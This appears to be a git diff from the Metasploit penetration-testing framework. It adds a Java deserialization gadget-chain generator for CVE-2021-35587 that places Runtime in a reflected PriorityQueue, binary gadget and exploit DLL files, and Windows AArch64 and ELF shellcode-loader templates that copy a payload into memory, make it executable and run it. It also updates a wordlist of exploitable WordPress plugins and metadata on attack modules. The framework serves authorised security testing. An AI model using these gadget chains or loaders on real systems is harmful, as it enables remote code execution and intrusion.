+ Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); + m_aExtractor.setAccessible(true); + + ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); + ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ + reflectionExtractor + }; + + ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); + + PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); + queue.add("1"); + queue.add("1"); + m_aExtractor.set(chainedExtractor1, valueExtractors); + + Field field = PriorityQueue.class.getDeclaredField("queue"); + field.setAccessible(true); + + Object[] queueArray = (Object[]) field.get(queue); + + queueArray[0] = Runtime.class; + queueArray[1] = "1"; + + BasicServiceContext bsc = new BasicServiceContext(1, queue, false); + + byte[] bytes = serialize(bsc); + StringBuilder sb = new StringBuilder(); + for (byte b : bytes) { + sb.append(String.format("%02x", b)); + } + System.out.println(sb.toString()); + + FileOutputStream fos = new FileOutputStream("gadget.bin"); + ObjectOutputStream os = new ObjectOutputStream(fos); + os.writeObject(bsc); + os.close(); + + //deserialize(bytes); + } + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + objOut.flush(); + objOut.close(); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + +} \ No newline at end of file diff --git a/data/exploits/CVE-2021-35587/gadget_12.2.1.3.0.bin b/data/exploits/CVE-2021-35587/gadget_12.2.1.3.0.bin new file mode 100644 index 0000000000000..5de5408072344 Binary files /dev/null and b/data/exploits/CVE-2021-35587/gadget_12.2.1.3.0.bin differ diff --git a/data/exploits/CVE-2021-35587/gadget_12.2.1.4.0.bin b/data/exploits/CVE-2021-35587/gadget_12.2.1.4.0.bin new file mode 100644 index 0000000000000..ab40752363e55 Binary files /dev/null and b/data/exploits/CVE-2021-35587/gadget_12.2.1.4.0.bin differ diff --git a/data/exploits/CVE-2024-30085/cve-202430085-dll.dll b/data/exploits/CVE-2024-30085/cve-202430085-dll.dll new file mode 100755 index 0000000000000..de03d59e32351 Binary files /dev/null and b/data/exploits/CVE-2024-30085/cve-202430085-dll.dll differ diff --git a/data/exploits/psnuffle/smb.rb b/data/exploits/psnuffle/smb.rb index a55bd9919f078..fde4082d6d9fd 100755 --- a/data/exploits/psnuffle/smb.rb +++ b/data/exploits/psnuffle/smb.rb @@ -185,19 +185,19 @@ def parse_sessionsetup(pkt, s) report_note( :host => src_ip, :type => "smb_peer_os", - :data => s[:peer_os] + :data => { :peer_os => s[:peer_os] } ) if (s[:peer_os] and s[:peer_os].strip.length > 0) report_note( :host => src_ip, :type => "smb_peer_lm", - :data => s[:peer_lm] + :data => { :peer_lm => s[:peer_lm] } ) if (s[:peer_lm] and s[:peer_lm].strip.length > 0) report_note( :host => src_ip, :type => "smb_domain", - :data => s[:domain] + :data => { :domain => s[:domain] } ) if (s[:domain] and s[:domain].strip.length > 0) end diff --git a/data/markdown_doc/default_template.erb b/data/markdown_doc/default_template.erb index 1cb799b92f838..0106d5d9564e1 100644 --- a/data/markdown_doc/default_template.erb +++ b/data/markdown_doc/default_template.erb @@ -67,6 +67,8 @@ <% description = "Module may cause a noise (Examples: audio output from the speakers or hardware beeps)." %> <% elsif side_effect == "physical-effects" %> <% description = "Module may produce physical effects (Examples: the device makes movement or flashes LEDs)." %> +<% elsif side_effect == "unknown-side-effects" %> +<% description = "Module side effects are unknown." %> <% end %> * **<%= side_effect %>:** <%= description %> @@ -85,6 +87,8 @@ <% description = "The module isn't expected to get a shell reliably (such as only once)." %> <% elsif reliability == "event-dependent" %> <% description = "The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc." %> +<% elsif reliability == "unknown-reliability" %> +<% description = "Module reliability is unknown." %> <% end %> * **<%= reliability %>:** <%= description %> @@ -109,6 +113,8 @@ <% description = "Module may cause a resource (such as a file or data in a database) to be unavailable for the service." %> <% elsif stability == "os-resource-loss" %> <% description = "Modules may cause a resource (such as a file) to be unavailable for the OS." %> +<% elsif stability == "unknown-stability" %> +<% description = "Module stability is unknown." %> <% end %> * **<%= stability %>:** <%= description %> diff --git a/data/post/execute-dotnet-assembly/HostingCLRWin32.dll b/data/post/execute-dotnet-assembly/HostingCLRWin32.dll new file mode 100755 index 0000000000000..f36e00a4e7d61 Binary files /dev/null and b/data/post/execute-dotnet-assembly/HostingCLRWin32.dll differ diff --git a/data/post/execute-dotnet-assembly/HostingCLRx64.dll b/data/post/execute-dotnet-assembly/HostingCLRx64.dll index e461cf503fc60..88e7923d8e8bb 100755 Binary files a/data/post/execute-dotnet-assembly/HostingCLRx64.dll and b/data/post/execute-dotnet-assembly/HostingCLRx64.dll differ diff --git a/data/templates/src/elf/exe/elf_ppc64_template.s b/data/templates/src/elf/exe/elf_ppc64_template.s new file mode 100644 index 0000000000000..e7c4df3b8e29b --- /dev/null +++ b/data/templates/src/elf/exe/elf_ppc64_template.s @@ -0,0 +1,35 @@ +BITS 64 +ehdr: ; Elf32_Ehdr + db 0x7F, "ELF", 2, 2, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 0x0200 ; e_type = ET_EXEC for an executable + dw 0x1500 ; e_machine = PPC64 + dd 0x01000000 ; e_version + dq 0x7810000000000000 ; e_entry + dq 0x4000000000000000 ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw 0x4000 ; e_ehsize + dw 0x3800 ; e_phentsize + dw 0x0100 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + + dd 0x01000000 ; p_type = pt_load + dd 0x07000000 ; p_flags = rwx + dq 0 ; p_offset + dq 0x0010000000000000 ; p_vaddr + dq 0x0010000000000000 ; p_paddr + dq 0xefbeadde ; p_filesz + dq 0xefbeadde ; p_memsz + dq 0x0000100000000000 ; p_align + +phdrsize equ $ - phdr + +_start: +dq 0x8010000000000000 diff --git a/data/templates/src/elf/exe/elf_x64_template.s b/data/templates/src/elf/exe/elf_x64_template.s new file mode 100755 index 0000000000000..c1528937e399a --- /dev/null +++ b/data/templates/src/elf/exe/elf_x64_template.s @@ -0,0 +1,42 @@ +; build with: +; nasm elf_x64_template.s -f bin -o template_x64_linux.bin + +BITS 64 + +org 0x0000000000400000 + +ehdr: ; Elf64_Ehdr + db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 2 ; e_type = ET_EXEC for an executable + dw 0x3e ; e_machine + dd 1 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 1 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf64_Phdr + dd 1 ; p_type = PT_LOAD + dd 7 ; p_flags = rwx + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq 0x4141414141414141 ; p_filesz + dq 0x4242424242424242 ; p_memsz + dq 0x1000 ; p_align + +phdrsize equ $ - phdr + +global _start + +_start: + diff --git a/data/templates/src/pe/exe/template_aarch64_windows.asm b/data/templates/src/pe/exe/template_aarch64_windows.asm new file mode 100644 index 0000000000000..62e77ba3f1db1 --- /dev/null +++ b/data/templates/src/pe/exe/template_aarch64_windows.asm @@ -0,0 +1,98 @@ +; +; A minimal AArch64 PE template for Metasploit shellcode +; Author: Alexander 'xaitax' Hagenah +; +; --- Compilation (Microsoft Visual Studio Build Tools) --- +; 1. Assemble: +; armasm64.exe -o template_aarch64_windows.obj template_aarch64_windows.asm +; +; 2. Link: +; LINK.exe template_aarch64_windows.obj /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe +; +; +; --- Cross Compilation (Microsoft Visual Studio Build Tools) --- +; 1. Locate Cross Compiler Tools and Libraries +; In this case: C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\ +; And: C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64 +; 2. Assemble: +; "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\armasm64.exe" -o template_aarch64_windows.obj template_aarch64_windows.asm +; 3. Link: +; "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\link.exe" template_aarch64_windows.obj /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64" /MACHINE:ARM64 /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe + AREA |.text|, CODE, READONLY + +; Import the Win32 functions we need from kernel32.dll + IMPORT VirtualAlloc + IMPORT VirtualProtect + IMPORT ExitProcess + +; Define constants for Win32 API calls +SCSIZE EQU 4096 +MEM_COMMIT EQU 0x1000 +PAGE_READWRITE EQU 0x04 +PAGE_EXECUTE EQU 0x10 + +; Export the entry point of our program + EXPORT main + +main + ; Allocate space on the stack for the oldProtection variable (DWORD) + sub sp, sp, #16 + + ; --- 1. Allocate executable memory --- + ; hfRet = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT, PAGE_READWRITE); + mov x0, #0 + mov x1, #SCSIZE + mov x2, #MEM_COMMIT + mov x3, #PAGE_READWRITE + ldr x8, =VirtualAlloc + blr x8 + + ; Check if VirtualAlloc failed. If so, exit. + cbz x0, exit_fail + + ; Save the pointer to our new executable buffer in a non-volatile register + mov x19, x0 + + ; --- 2. Copy the payload into the new buffer --- + ; This is a simple memcpy(dest, src, size) + mov x0, x19 ; x0 = dest = our new buffer + ldr x1, =payload_buffer ; x1 = src = the payload in our .data section + mov x2, #SCSIZE ; x2 = count +copy_loop + ldrb w3, [x1], #1 ; Load byte from src, increment src pointer + strb w3, [x0], #1 ; Store byte to dest, increment dest pointer + subs x2, x2, #1 ; Decrement counter + b.ne copy_loop ; Loop if not zero + + ; --- 3. Change memory permissions to executable --- + ; VirtualProtect(hfRet, SCSIZE, PAGE_EXECUTE, &dwOldProtect); + mov x0, x19 ; x0 = buffer address + mov x1, #SCSIZE ; x1 = size + mov x2, #PAGE_EXECUTE ; x2 = new protection + mov x3, sp ; x3 = pointer to oldProtection on the stack + ldr x8, =VirtualProtect + blr x8 + + ; --- 4. Execute the payload --- + ; Jump to the shellcode we just copied and protected. + blr x19 + +exit_success + ; Shellcode returned, or we are done. Exit cleanly. + mov x0, #0 ; Exit code 0 + ldr x8, =ExitProcess + blr x8 + +exit_fail + ; Something went wrong. Exit with code 1. + mov x0, #1 + ldr x8, =ExitProcess + blr x8 + +; The data section where the payload will be located. +; The 'PAYLOAD:' tag must be at the very beginning of this buffer. +payload_buffer + DCB "PAYLOAD:" + SPACE SCSIZE - 8 ; Reserve the rest of the 4096 bytes + + END diff --git a/data/templates/src/pe/exe/template_aarch64_windows.c b/data/templates/src/pe/exe/template_aarch64_windows.c new file mode 100644 index 0000000000000..2fc396edb6086 --- /dev/null +++ b/data/templates/src/pe/exe/template_aarch64_windows.c @@ -0,0 +1,69 @@ +// AArch64 PE EXE Template for Metasploit Framework +// +// ----------------------------------------------------------------------------- +// +// Compilation Instructions: +// +// Using MSVC on a Windows ARM64 Host: +// +// cl.exe /nologo /O2 /W3 /GS- /D_WIN64 template_aarch64_windows.c /link ^ +// /subsystem:windows /machine:arm64 /entry:main ^ +// /out:template_aarch64_windows.exe kernel32.lib +// +// ----------------------------------------------------------------------------- + +#define WIN32_LEAN_AND_MEAN +#include +#undef WIN32_LEAN_AND_MEAN + +#define PAYLOAD_MARKER "PAYLOAD:" +#define SCSIZE 8192 + +char payload[SCSIZE] = PAYLOAD_MARKER; + +int main(void) +{ + void *exec_mem; + DWORD old_prot; + HANDLE hThread; + + // Stage 1: Allocate a block of memory. We request READWRITE permissions + // initially so we can copy our payload into it. + exec_mem = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (exec_mem == NULL) + { + // Fail silently if allocation fails. + return 1; + } + + // Stage 2: Copy the payload from our data section into the new memory block. + // A simple loop is used for maximum compiler compatibility and to avoid + // needing extra headers like for memcpy. + for (int i = 0; i < SCSIZE; i++) + { + ((char *)exec_mem)[i] = payload[i]; + } + + // Stage 3: Change the memory's protection flags from READWRITE to + // EXECUTE_READ. + if (VirtualProtect(exec_mem, SCSIZE, PAGE_EXECUTE_READ, &old_prot) == FALSE) + { + // Fail silently if we cannot make the memory executable. + return 1; + } + + // Stage 4: Execute the shellcode. + hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL); + if (hThread) + { + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + } + else + { + // As a fallback in case CreateThread fails, call the shellcode directly. + ((void (*)())exec_mem)(); + } + + return 0; +} diff --git a/data/templates/template_aarch64_windows.exe b/data/templates/template_aarch64_windows.exe new file mode 100644 index 0000000000000..d755b27e0e0ff Binary files /dev/null and b/data/templates/template_aarch64_windows.exe differ diff --git a/data/templates/template_ppc64_linux.bin b/data/templates/template_ppc64_linux.bin new file mode 100644 index 0000000000000..d9feb0ef8dc15 Binary files /dev/null and b/data/templates/template_ppc64_linux.bin differ diff --git a/data/wordlists/named_pipes.txt b/data/wordlists/named_pipes.txt index b36d631e4c64b..2aaace712f6d7 100644 --- a/data/wordlists/named_pipes.txt +++ b/data/wordlists/named_pipes.txt @@ -23,3 +23,4 @@ W32TIME_ALT wkssvc PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER db2remotecmd +CxUIUSvcChannel diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index e47fa70661fa5..cb20aad6a4e78 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -8,6 +8,7 @@ bulletproof-security catch-themes-demo-import chopslider custom-registration-form-builder-with-submission-manager +depicter download-manager drag-and-drop-multiple-file-upload-contact-form-7 dukapress @@ -26,7 +27,6 @@ learnpress loginizer masterstudy-lms-learning-management-system modern-events-calendar-lite -modern-events-calendar-lite nextgen-gallery ninja-forms paid-memberships-pro @@ -45,7 +45,11 @@ simple-file-list slideshow-gallery sp-client-document-manager subscribe-to-comments +suretriggers +tatsu ultimate-member +user-registration +user-registration-pro website-contact-form-with-file-upload woocommerce-abandoned-cart woocommerce-payments @@ -53,18 +57,17 @@ wordpress-mobile-pack wordpress-popular-posts work-the-flow-file-upload wp-automatic +wpdiscuz wp-easycart wp-fastest-cache wp-file-manager wp-gdpr-compliance wp-mobile-detector wp-mobile-edition -wp-symposium -wp-symposium -wp-time-capsule -wp-ultimate-csv-importer -wpdiscuz wps-hide-login wpshop +wp-symposium +wp-time-capsule wptouch +wp-ultimate-csv-importer wysija-newsletters diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 41f3305f3704b..1180b796fbd8f 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -2,9 +2,7 @@ "auxiliary_admin/2wire/xslt_password_reset": { "name": "2Wire Cross-Site Request Forgery Password Reset Vulnerability", "fullname": "auxiliary/admin/2wire/xslt_password_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-08-15", "type": "auxiliary", @@ -12,7 +10,7 @@ "hkm ", "Travis Phillips" ], - "description": "This module will reset the admin password on a 2Wire wireless router. This is\n done by using the /xslt page where authentication is not required, thus allowing\n configuration changes (such as resetting the password) as administrators.", + "description": "This module will reset the admin password on a 2Wire wireless router. This is\n done by using the /xslt page where authentication is not required, thus allowing\n configuration changes (such as resetting the password) as administrators.", "references": [ "CVE-2007-4387", "OSVDB-37667", @@ -38,7 +36,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/2wire/xslt_password_reset.rb", "is_install_path": true, "ref_name": "admin/2wire/xslt_password_reset", @@ -46,19 +44,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/android/google_play_store_uxss_xframe_rce": { "name": "Android Browser RCE Through Google Play Store XFO", "fullname": "auxiliary/admin/android/google_play_store_uxss_xframe_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -66,9 +68,9 @@ "Rafay Baloch", "joev " ], - "description": "This module combines two vulnerabilities to achieve remote code\n execution on affected Android devices. First, the module exploits\n CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in\n versions of Android's open source stock browser (the AOSP Browser) prior to\n 4.4. Second, the Google Play store's web interface fails to enforce a\n X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be\n targeted for script injection. As a result, this leads to remote code execution\n through Google Play's remote installation feature, as any application available\n on the Google Play store can be installed and launched on the user's device.\n\n This module requires that the user is logged into Google with a vulnerable browser.\n\n To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.", + "description": "This module combines two vulnerabilities to achieve remote code\n execution on affected Android devices. First, the module exploits\n CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in\n versions of Android's open source stock browser (the AOSP Browser) prior to\n 4.4. Second, the Google Play store's web interface fails to enforce a\n X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be\n targeted for script injection. As a result, this leads to remote code execution\n through Google Play's remote installation feature, as any application available\n on the Google Play store can be installed and launched on the user's device.\n\n This module requires that the user is logged into Google with a vulnerable browser.\n\n To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.", "references": [ - "URL-https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/", + "URL-http://web.archive.org/web/20230321034739/https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/", "URL-https://web.archive.org/web/20150316151817/http://1337day.com/exploit/description/22581", "OSVDB-110664", "CVE-2014-6041" @@ -76,14 +78,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb", "is_install_path": true, "ref_name": "admin/android/google_play_store_uxss_xframe_rce", @@ -91,6 +89,14 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -104,9 +110,7 @@ "auxiliary_admin/appletv/appletv_display_image": { "name": "Apple TV Image Remote Control", "fullname": "auxiliary/admin/appletv/appletv_display_image", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -114,7 +118,7 @@ "0a29406d9794e4f9b30b3c5d6702c708", "sinn3r " ], - "description": "This module will show an image on an AppleTV device for a period of time.\n Some AppleTV devices are actually password-protected, in that case please\n set the PASSWORD datastore option. For password brute forcing, please see\n the module auxiliary/scanner/http/appletv_login.", + "description": "This module will show an image on an AppleTV device for a period of time.\n Some AppleTV devices are actually password-protected, in that case please\n set the PASSWORD datastore option. For password brute forcing, please see\n the module auxiliary/scanner/http/appletv_login.", "references": [ "URL-http://nto.github.io/AirPlay.html" ], @@ -137,7 +141,7 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/appletv/appletv_display_image.rb", "is_install_path": true, "ref_name": "admin/appletv/appletv_display_image", @@ -145,19 +149,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "screen-effects" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/appletv/appletv_display_video": { "name": "Apple TV Video Remote Control", "fullname": "auxiliary/admin/appletv/appletv_display_video", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -165,7 +173,7 @@ "0a29406d9794e4f9b30b3c5d6702c708", "sinn3r " ], - "description": "This module plays a video on an AppleTV device. Note that\n AppleTV can be somewhat picky about the server that hosts the video.\n Tested servers include default IIS, default Apache, and Ruby's WEBrick.\n For WEBrick, the default MIME list may need to be updated, depending on\n what media file is to be played. Python SimpleHTTPServer is not\n recommended. Also, if you're playing a video, the URL must be an IP\n address. Some AppleTV devices are actually password-protected; in that\n case please set the PASSWORD datastore option. For password\n brute forcing, please see the module auxiliary/scanner/http/appletv_login.", + "description": "This module plays a video on an AppleTV device. Note that\n AppleTV can be somewhat picky about the server that hosts the video.\n Tested servers include default IIS, default Apache, and Ruby's WEBrick.\n For WEBrick, the default MIME list may need to be updated, depending on\n what media file is to be played. Python SimpleHTTPServer is not\n recommended. Also, if you're playing a video, the URL must be an IP\n address. Some AppleTV devices are actually password-protected; in that\n case please set the PASSWORD datastore option. For password\n brute forcing, please see the module auxiliary/scanner/http/appletv_login.", "references": [ "URL-http://nto.github.io/AirPlay.html" ], @@ -188,7 +196,7 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/appletv/appletv_display_video.rb", "is_install_path": true, "ref_name": "admin/appletv/appletv_display_video", @@ -196,19 +204,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "screen-effects" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/atg/atg_client": { "name": "Veeder-Root Automatic Tank Gauge (ATG) Administrative Client", "fullname": "auxiliary/admin/atg/atg_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -228,14 +240,10 @@ "platform": "", "arch": "", "rport": 10001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/atg/atg_client.rb", "is_install_path": true, "ref_name": "admin/atg/atg_client", @@ -243,6 +251,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -320,9 +333,7 @@ "auxiliary_admin/aws/aws_launch_instances": { "name": "Launches Hosts in AWS", "fullname": "auxiliary/admin/aws/aws_launch_instances", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -337,14 +348,10 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/aws/aws_launch_instances.rb", "is_install_path": true, "ref_name": "admin/aws/aws_launch_instances", @@ -352,19 +359,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/backupexec/dump": { "name": "Veritas Backup Exec Windows Remote File Access", "fullname": "auxiliary/admin/backupexec/dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -372,7 +382,7 @@ "hdm ", "Unknown" ], - "description": "This module abuses a logic flaw in the Backup Exec Windows Agent to download\n arbitrary files from the system. This flaw was found by someone who wishes to\n remain anonymous and affects all known versions of the Backup Exec Windows Agent. The\n output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program\n listed in the references section. To transfer an entire directory, specify a\n path that includes a trailing backslash.", + "description": "This module abuses a logic flaw in the Backup Exec Windows Agent to download\n arbitrary files from the system. This flaw was found by someone who wishes to\n remain anonymous and affects all known versions of the Backup Exec Windows Agent. The\n output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program\n listed in the references section. To transfer an entire directory, specify a\n path that includes a trailing backslash.", "references": [ "CVE-2005-2611", "OSVDB-18695", @@ -382,14 +392,10 @@ "platform": "", "arch": "", "rport": 10000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/backupexec/dump.rb", "is_install_path": true, "ref_name": "admin/backupexec/dump", @@ -397,6 +403,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -410,16 +423,14 @@ "auxiliary_admin/backupexec/registry": { "name": "Veritas Backup Exec Server Registry Access", "fullname": "auxiliary/admin/backupexec/registry", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This modules exploits a remote registry access flaw in the BackupExec Windows\n Server RPC service. This vulnerability was discovered by Pedram Amini and is based\n on the NDR stub information posted to openrce.org.\n Please see the action list for the different attack modes.", + "description": "This modules exploits a remote registry access flaw in the BackupExec Windows\n Server RPC service. This vulnerability was discovered by Pedram Amini and is based\n on the NDR stub information posted to openrce.org.\n Please see the action list for the different attack modes.", "references": [ "OSVDB-17627", "CVE-2005-0771", @@ -428,14 +439,10 @@ "platform": "", "arch": "", "rport": 6106, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/backupexec/registry.rb", "is_install_path": true, "ref_name": "admin/backupexec/registry", @@ -443,6 +450,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -460,16 +474,14 @@ "auxiliary_admin/chromecast/chromecast_reset": { "name": "Chromecast Factory Reset DoS", "fullname": "auxiliary/admin/chromecast/chromecast_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "wvu " ], - "description": "This module performs a factory reset on a Chromecast, causing a denial of service (DoS).\n No user authentication is required.", + "description": "This module performs a factory reset on a Chromecast, causing a denial of service (DoS).\n No user authentication is required.", "references": [ "URL-http://www.google.com/intl/en/chrome/devices/chromecast/index.html" ], @@ -492,7 +504,7 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/chromecast/chromecast_reset.rb", "is_install_path": true, "ref_name": "admin/chromecast/chromecast_reset", @@ -500,6 +512,13 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-down" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -517,16 +536,14 @@ "auxiliary_admin/chromecast/chromecast_youtube": { "name": "Chromecast YouTube Remote Control", "fullname": "auxiliary/admin/chromecast/chromecast_youtube", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "wvu " ], - "description": "This module acts as a simple remote control for Chromecast YouTube.\n\n Only the deprecated DIAL protocol is supported by this module.\n Casting via the newer CASTV2 protocol is unsupported at this time.", + "description": "This module acts as a simple remote control for Chromecast YouTube.\n\n Only the deprecated DIAL protocol is supported by this module.\n Casting via the newer CASTV2 protocol is unsupported at this time.", "references": [ "URL-http://www.google.com/intl/en/chrome/devices/chromecast/index.html" ], @@ -549,7 +566,7 @@ "https" ], "targets": null, - "mod_time": "2019-05-29 12:19:52 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/chromecast/chromecast_youtube.rb", "is_install_path": true, "ref_name": "admin/chromecast/chromecast_youtube", @@ -557,6 +574,14 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "screen-effects" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -574,9 +599,7 @@ "auxiliary_admin/citrix/citrix_netscaler_config_decrypt": { "name": "Decrypt Citrix 